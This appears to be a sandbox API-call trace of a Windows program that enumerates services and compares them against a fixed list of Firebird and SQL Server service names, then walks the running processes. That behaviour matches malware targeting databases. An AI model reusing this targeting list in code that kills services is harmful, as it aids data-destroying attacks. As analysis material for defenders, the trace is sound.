	[0177.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0177.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0177.161] lstrlenW (lpString="CryptSvc") returned 8
	[0177.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0177.161] lstrlenW (lpString="DcomLaunch") returned 10
	[0177.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0177.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0177.161] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0177.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0177.161] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0177.161] lstrlenW (lpString="Dhcp") returned 4
	[0177.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0177.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0177.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0177.162] lstrlenW (lpString="Dnscache") returned 8
	[0177.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0177.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0177.162] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0177.162] lstrlenW (lpString="DPS") returned 3
	[0177.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0177.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0177.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0177.162] lstrlenW (lpString="DusmSvc") returned 7
	[0177.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0177.162] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0177.162] lstrlenW (lpString="EventLog") returned 8
	[0177.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0177.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0177.162] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0177.162] lstrlenW (lpString="EventSystem") returned 11
	[0177.162] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0177.162] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0177.162] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0177.163] lstrlenW (lpString="FontCache") returned 9
	[0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0177.163] lstrlenW (lpString="gpsvc") returned 5
	[0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0177.163] lstrlenW (lpString="iphlpsvc") returned 8
	[0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0177.163] lstrlenW (lpString="KeyIso") returned 6
	[0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0177.163] lstrlenW (lpString="LanmanServer") returned 12
	[0177.163] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.163] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0177.163] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0177.163] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0177.163] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0177.164] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0177.164] lstrlenW (lpString="lfsvc") returned 5
	[0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0177.164] lstrlenW (lpString="lmhosts") returned 7
	[0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0177.164] lstrlenW (lpString="LSM") returned 3
	[0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0177.164] lstrlenW (lpString="MpsSvc") returned 6
	[0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.164] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0177.164] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0177.164] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0177.164] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0177.164] lstrlenW (lpString="NcbService") returned 10
	[0177.164] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0177.165] lstrlenW (lpString="netprofm") returned 8
	[0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0177.165] lstrlenW (lpString="NgcSvc") returned 6
	[0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0177.165] lstrlenW (lpString="NlaSvc") returned 6
	[0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0177.165] lstrlenW (lpString="nsi") returned 3
	[0177.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0177.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0177.165] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0177.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0177.166] lstrlenW (lpString="PcaSvc") returned 6
	[0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0177.166] lstrlenW (lpString="PlugPlay") returned 8
	[0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0177.166] lstrlenW (lpString="Power") returned 5
	[0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0177.166] lstrlenW (lpString="ProfSvc") returned 7
	[0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0177.166] lstrlenW (lpString="RpcEptMapper") returned 12
	[0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.166] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0177.166] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0177.166] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0177.166] lstrlenW (lpString="RpcSs") returned 5
	[0177.166] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0177.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0177.167] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0177.167] lstrlenW (lpString="SamSs") returned 5
	[0177.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0177.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0177.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0177.167] lstrlenW (lpString="Schedule") returned 8
	[0177.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0177.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0177.167] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0177.167] lstrlenW (lpString="SecurityHealthService") returned 21
	[0177.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0177.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0177.167] lstrlenW (lpString="SENS") returned 4
	[0177.167] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0177.167] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0177.167] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0177.167] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0177.168] lstrlenW (lpString="ShellHWDetection") returned 16
	[0177.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0177.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0177.168] lstrlenW (lpString="Spooler") returned 7
	[0177.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0177.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0177.168] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0177.168] lstrlenW (lpString="StateRepository") returned 15
	[0177.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0177.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0177.168] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0177.168] lstrlenW (lpString="SysMain") returned 7
	[0177.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0177.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0177.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0177.168] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0177.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0177.168] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0177.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0177.168] lstrlenW (lpString="Themes") returned 6
	[0177.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0177.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0177.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0177.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0177.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0177.169] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0177.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0177.169] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0177.169] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0177.169] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0177.169] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x570
	[0177.173] Process32FirstW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0177.174] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0177.174] lstrlenW (lpString="System") returned 6
	[0177.174] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0177.175] lstrlenW (lpString="smss.exe") returned 8
	[0177.175] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.175] lstrlenW (lpString="csrss.exe") returned 9
	[0177.175] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0177.176] lstrlenW (lpString="wininit.exe") returned 11
	[0177.176] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0177.176] lstrlenW (lpString="csrss.exe") returned 9
	[0177.176] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0177.177] lstrlenW (lpString="winlogon.exe") returned 12
	[0177.177] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0177.177] lstrlenW (lpString="services.exe") returned 12
	[0177.177] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0177.178] lstrlenW (lpString="lsass.exe") returned 9
	[0177.178] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.178] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.178] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0177.179] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0177.179] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.179] lstrlenW (lpString="svchost.exe") returned 11
	[0177.179] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.179] lstrlenW (lpString="svchost.exe") returned 11
	[0177.180] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0177.180] lstrlenW (lpString="dwm.exe") returned 7
	[0177.180] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.180] lstrlenW (lpString="svchost.exe") returned 11
	[0177.180] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.181] lstrlenW (lpString="svchost.exe") returned 11
	[0177.181] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0177.181] lstrlenW (lpString="svchost.exe") returned 11
